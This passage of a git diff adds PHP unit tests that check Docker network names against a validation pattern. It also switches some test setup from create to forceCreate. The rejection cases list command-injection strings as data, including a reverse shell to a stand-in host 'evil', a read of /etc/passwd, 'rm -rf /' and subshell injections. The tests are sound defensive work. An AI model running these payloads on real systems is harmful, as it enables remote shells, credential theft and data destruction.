+])->throws(InvalidArgumentException::class); + +it('SwarmDocker accepts valid network names', function (string $network) { + $model = new SwarmDocker; + $model->network = $network; + + expect($model->network)->toBe($network); +})->with([ + 'simple' => 'mynetwork', + 'with hyphen' => 'my-network', + 'with underscore' => 'my_network', +]); diff --git a/tests/Unit/ServiceParserImageUpdateTest.php b/tests/Unit/ServiceParserImageUpdateTest.php index b52e0b820..526505098 100644 --- a/tests/Unit/ServiceParserImageUpdateTest.php +++ b/tests/Unit/ServiceParserImageUpdateTest.php @@ -7,22 +7,24 @@ * These tests verify the fix for the issue where changing an image in a * docker-compose file would create a new service instead of updating the existing one. */ -it('ensures service parser does not include image in firstOrCreate query', function () { +it('ensures service parser does not include image in trusted service creation query', function () { // Read the serviceParser function from parsers.php $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - // Check that firstOrCreate is called with only name and service_id - // and NOT with image parameter in the ServiceApplication presave loop + // Check that trusted creation only uses name and service_id + // and does not include image in the creation payload expect($parsersFile) - ->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);") - ->not->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);"); + ->toContain("\$databaseFound = ServiceDatabase::where('name', \$serviceName)->where('service_id', \$resource->id)->first();") + ->toContain("\$applicationFound = ServiceApplication::where('name', \$serviceName)->where('service_id', \$resource->id)->first();") + ->toContain("forceCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);") + ->not->toContain("forceCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);"); }); it('ensures service parser updates image after finding or creating service', function () { // Read the serviceParser function from parsers.php $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - // Check that image update logic exists after firstOrCreate + // Check that image update logic exists after the trusted create/find branch expect($parsersFile) ->toContain('// Update image if it changed') ->toContain('if ($savedService->image !== $image) {') diff --git a/tests/Unit/ValidationPatternsTest.php b/tests/Unit/ValidationPatternsTest.php index 0da8f9a4d..9ecffe46d 100644 --- a/tests/Unit/ValidationPatternsTest.php +++ b/tests/Unit/ValidationPatternsTest.php @@ -80,3 +80,53 @@ expect(mb_strlen($name))->toBeGreaterThanOrEqual(3) ->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1); }); + +it('accepts valid Docker network names', function (string $network) { + expect(ValidationPatterns::isValidDockerNetwork($network))->toBeTrue(); +})->with([ + 'simple name' => 'mynetwork', + 'with hyphen' => 'my-network', + 'with underscore' => 'my_network', + 'with dot' => 'my.network', + 'cuid2 format' => 'ck8s2z1x0000001mhg3f9d0g1', + 'alphanumeric' => 'network123', + 'starts with number' => '1network', + 'complex valid' => 'coolify-proxy.net_2', +]); + +it('rejects Docker network names with shell metacharacters', function (string $network) { + expect(ValidationPatterns::isValidDockerNetwork($network))->toBeFalse(); +})->with([ + 'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #', + 'pipe injection' => 'net|cat /etc/passwd', + 'dollar injection' => 'net$(whoami)', + 'backtick injection' => 'net`id`', + 'ampersand injection' => 'net&rm -rf /', + 'space' => 'net work', + 'newline' => "net\nwork", + 'starts with dot' => '.network', + 'starts with hyphen' => '-network', + 'slash' => 'net/work', + 'backslash' => 'net\\work', + 'empty string' => '', + 'single quotes' => "net'work", + 'double quotes' => 'net"work', + 'greater than' => 'net>work', + 'less than' => 'nettoContain('required') + ->toContain('string') + ->toContain('max:255') + ->toContain('regex:'.ValidationPatterns::DOCKER_NETWORK_PATTERN); +}); + +it('generates nullable dockerNetworkRules when not required', function () { + $rules = ValidationPatterns::dockerNetworkRules(required: false); + + expect($rules)->toContain('nullable') + ->not->toContain('required'); +}); diff --git a/tests/v4/Browser/DashboardTest.php b/tests/v4/Browser/DashboardTest.php index b4a97f268..233b0db9d 100644 --- a/tests/v4/Browser/DashboardTest.php +++ b/tests/v4/Browser/DashboardTest.php @@ -77,21 +77,21 @@ ], ]); - Project::create([ + Project::forceCreate([ 'uuid' => 'project-1', 'name' => 'My first project', 'description' => 'This is a test project in development', 'team_id' => 0, ]); - Project::create([ + Project::forceCreate([ 'uuid' => 'project-2', 'name' => 'Production API', 'description' => 'Backend services for production', 'team_id' => 0, ]); - Project::create([ + Project::forceCreate([ 'uuid' => 'project-3', 'name' => 'Staging Environment', 'description' => 'Staging and QA testing',